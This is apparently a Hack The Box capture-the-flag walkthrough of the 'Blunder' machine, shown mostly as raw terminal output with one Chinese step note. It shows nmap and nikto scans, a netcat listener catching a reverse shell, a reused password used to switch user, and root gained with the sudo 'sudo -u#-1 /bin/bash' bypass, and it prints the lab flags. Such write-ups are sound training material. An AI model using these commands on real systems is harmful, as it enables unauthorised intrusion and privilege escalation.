┌─[us-vip-22]─[10.10.14.5]─[shiyan@htb-et8bwvyzp7]─[~/Desktop] └──╼ [★]$ sudo nmap -sC -sV -p- 10.10.10.191 --min-rate=5000 Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-22 12:33 GMT Nmap scan report for 10.10.10.191 Host is up (0.13s latency). Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 21/tcp closed ftp 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-generator: Blunder |_http-title: Blunder | A blunder of interesting facts |_http-server-header: Apache/2.4.41 (Ubuntu)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 202.55 seconds
┌─[us-vip-22]─[10.10.14.5]─[shiyan@htb-41ohbzuri8]─[~/Desktop] └──╼ [★]$ nikto -h http://10.10.10.191 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 10.10.10.191 + Target Hostname: 10.10.10.191 + Target Port: 80 + Start Time: 2023-12-22 13:47:21 (GMT0) --------------------------------------------------------------------------- + Server: Apache/2.4.41 (Ubuntu) + Retrieved x-powered-by header: Bludit + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + All CGI directories 'found', use '-C none' to test none + "robots.txt" contains 1 entry which should be manually viewed. + Web Server returns a valid response with junk HTTP methods, this may cause false positives. + /admin/config.php: PHP Config file may contain database IDs and passwords. + /admin/cplogfile.log: DevBB 1.0 final (http://www.mybboard.com) log file is readable remotely. Upgrade to the latest version. + /admin/system_footer.php: myphpnuke version 1.8.8_final_7 reveals detailed system information. + OSVDB-3233: /admin/admin_phpinfo.php4: Mon Album from http://www.3dsrc.com version 0.6.2d allows remote admin access. This should be protected. + OSVDB-5034: /admin/login.php?action=insert&username=test&password=test: phpAuction may allow user admin accounts to be inserted without proper authentication. Attempt to login with user 'test' password 'test' to verify. + OSVDB-376: /admin/contextAdmin/contextAdmin.html: Tomcat may be configured to let attackers read arbitrary files. Restrict access to /admin. + OSVDB-2813: /admin/database/wwForum.mdb: Web Wiz Forums pre 7.5 is vulnerable to Cross-Site Scripting attacks. Default login/pass is Administrator/letmein + OSVDB-2922: /admin/wg_user-info.ml: WebGate Web Eye exposes user names and passwords. + OSVDB-3092: /admin/: This might be interesting... + OSVDB-3093: /admin/auth.php: This might be interesting... has been seen in web logs from an unknown scanner. + OSVDB-3093: /admin/cfg/configscreen.inc.php+: This might be interesting... has been seen in web logs from an unknown scanner. + OSVDB-3093: /admin/cfg/configsite.inc.php+: This might be interesting... has been seen in web logs from an unknown scanner. + OSVDB-3093: /admin/cfg/configsql.inc.php+: This might be interesting... has been seen in web logs from an unknown scanner. + OSVDB-3093: /admin/cfg/configtache.inc.php+: This might be interesting... has been seen in web logs from an unknown scanner. + OSVDB-3093: /admin/cms/htmltags.php: This might be interesting... has been seen in web logs from an unknown scanner. + OSVDB-3093: /admin/credit_card_info.php: This might be interesting... has been seen in web logs from an unknown scanner. + OSVDB-3093: /admin/exec.php3: This might be interesting... has been seen in web logs from an unknown scanner. + OSVDB-3093: /admin/index.php: This might be interesting... has been seen in web logs from an unknown scanner. + OSVDB-3093: /admin/modules/cache.php+: This might be interesting... has been seen in web logs from an unknown scanner. + OSVDB-3093: /admin/objects.inc.php4: This might be interesting... has been seen in web logs from an unknown scanner. + OSVDB-3093: /admin/script.php: This might be interesting... has been seen in web logs from an unknown scanner. + OSVDB-3093: /admin/settings.inc.php+: This might be interesting... has been seen in web logs from an unknown scanner. + OSVDB-3093: /admin/templates/header.php: This might be interesting... has been seen in web logs from an unknown scanner. + OSVDB-3093: /admin/upload.php: This might be interesting... has been seen in web logs from an unknown scanner. + OSVDB-4238: /admin/adminproc.asp: Xpede administration page may be available. The /admin directory should be protected. + OSVDB-4239: /admin/datasource.asp: Xpede page reveals SQL account name. The /admin directory should be protected. + OSVDB-9624: /admin/admin.php?adminpy=1: PY-Membres 4.2 may allow administrator access. + OSVDB-3092: /install.php: install.php file found. + /admin/account.asp: Admin login page/section found. + /admin/account.html: Admin login page/section found. + /admin/account.php: Admin login page/section found. + /admin/controlpanel.asp: Admin login page/section found. + /admin/controlpanel.html: Admin login page/section found. + /admin/controlpanel.php: Admin login page/section found. + /admin/cp.asp: Admin login page/section found. + /admin/cp.html: Admin login page/section found. + /admin/cp.php: Admin login page/section found. + /admin/home.asp: Admin login page/section found. + /admin/home.php: Admin login page/section found. + /admin/index.asp: Admin login page/section found. + /admin/index.html: Admin login page/section found. + /admin/login.asp: Admin login page/section found. + /admin/login.html: Admin login page/section found. + /admin/login.php: Admin login page/section found. + /admin/html: Tomcat Manager / Host Manager interface found (pass protected) + /admin/status: Tomcat Server Status interface found (pass protected) + /admin/sites/new: ComfortableMexicanSofa CMS Engine Admin Backend (pass protected) + /.gitignore: .gitignore file found. It is possible to grasp the directory structure. + 26494 requests: 0 error(s) and 54 item(s) reported on remote host + End Time: 2023-12-22 13:52:23 (GMT0) (302 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
********************************************************************* Portions of the server's headers (Apache/2.4.41) are not in the Nikto 2.1.6 database or are newer than the known string. Would you like to submit this information (*no server specific data*) to CIRT.net for a Nikto update (or you may email to sullo@cirt.net) (y/n)?
┌──(kali㉿kali)-[~/桌面] └─$ curl http://10.10.10.191/todo.txt -Update the CMS -Turn off FTP - DONE -Remove old users - DONE -Inform fergus that the new blog needs images - PENDING
┌──(kali㉿kali)-[~/桌面] └─$ nc -lvnp 443 listening on [any] 443 ... connect to [10.10.14.2] from (UNKNOWN) [10.10.10.191] 41598 bash: cannot set terminal process group (1257): Inappropriate ioctl for device bash: no job control in this shell www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ ls -la /home/ ls -la /home/ total 16 drwxr-xr-x 4 root root 4096 Apr 27 2020 . drwxr-xr-x 21 root root 4096 Jul 6 2021 .. drwxr-xr-x 16 hugo hugo 4096 May 26 2020 hugo drwxr-xr-x 16 shaun shaun 4096 Jul 6 2021 shaun www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ ls -la /home/hugo ls -la /home/hugo total 80 drwxr-xr-x 16 hugo hugo 4096 May 26 2020 . drwxr-xr-x 4 root root 4096 Apr 27 2020 .. lrwxrwxrwx 1 root root 9 Apr 28 2020 .bash_history -> /dev/null -rw-r--r-- 1 hugo hugo 220 Nov 28 2019 .bash_logout -rw-r--r-- 1 hugo hugo 3771 Nov 28 2019 .bashrc drwx------ 13 hugo hugo 4096 Apr 27 2020 .cache drwx------ 11 hugo hugo 4096 Nov 28 2019 .config drwx------ 3 hugo hugo 4096 Apr 27 2020 .gnupg drwxrwxr-x 3 hugo hugo 4096 Nov 28 2019 .local drwx------ 5 hugo hugo 4096 Apr 27 2020 .mozilla -rw-r--r-- 1 hugo hugo 807 Nov 28 2019 .profile drwx------ 2 hugo hugo 4096 Apr 27 2020 .ssh drwxr-xr-x 2 hugo hugo 4096 Nov 28 2019 Desktop drwxr-xr-x 2 hugo hugo 4096 Nov 28 2019 Documents drwxr-xr-x 2 hugo hugo 4096 Nov 28 2019 Downloads drwxr-xr-x 2 hugo hugo 4096 Nov 28 2019 Music drwxr-xr-x 2 hugo hugo 4096 Nov 28 2019 Pictures drwxr-xr-x 2 hugo hugo 4096 Nov 28 2019 Public drwxr-xr-x 2 hugo hugo 4096 Nov 28 2019 Templates drwxr-xr-x 2 hugo hugo 4096 Nov 28 2019 Videos -r-------- 1 hugo hugo 33 Dec 22 14:38 user.txt www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ cat /home/hugo/user.txt <ludit-3.9.2/bl-content/tmp$ cat /home/hugo/user.txt cat: /home/hugo/user.txt: Permission denied www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ cd /home cd /home www-data@blunder:/home$ ls ls hugo shaun www-data@blunder:/home$ cd hugo cd hugo www-data@blunder:/home/hugo$ su hugo su hugo Password: Password120 ls Desktop Documents Downloads Music Pictures Public Templates user.txt Videos cat user.txt 797b675b4fea870474989fadabb48ddc
Matching Defaults entries for hugo on blunder: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User hugo may run the following commands on blunder: (ALL, !root) /bin/bash hugo@blunder:~$
26、到这里其实考察的是sudo自身版本的漏洞，查看下版本信息
1 2 3 4 5 6
hugo@blunder:~$ sudo -V sudo -V Sudo version 1.8.25p1 Configure options: Sudoers policy plugin version 1.8.25p1 Sudoers file grammar version 46
id pwd sudo -u#-1 /bin/bash root@blunder:/home/hugo# id uid=0(root) gid=1001(hugo) groups=1001(hugo) root@blunder:/home/hugo# root@blunder:/home/hugo# id uid=0(root) gid=1001(hugo) groups=1001(hugo) root@blunder:/home/hugo# pwd /home/hugo root@blunder:/home/hugo# ls ls Desktop Downloads Pictures Templates Videos Documents Music Public user.txt root@blunder:/home/hugo# cd /root/ cd /root/ root@blunder:/root# cat root.txt cat root.txt 83e1c4d114b7c7f6bbc91a17605270cf root@blunder:/root#
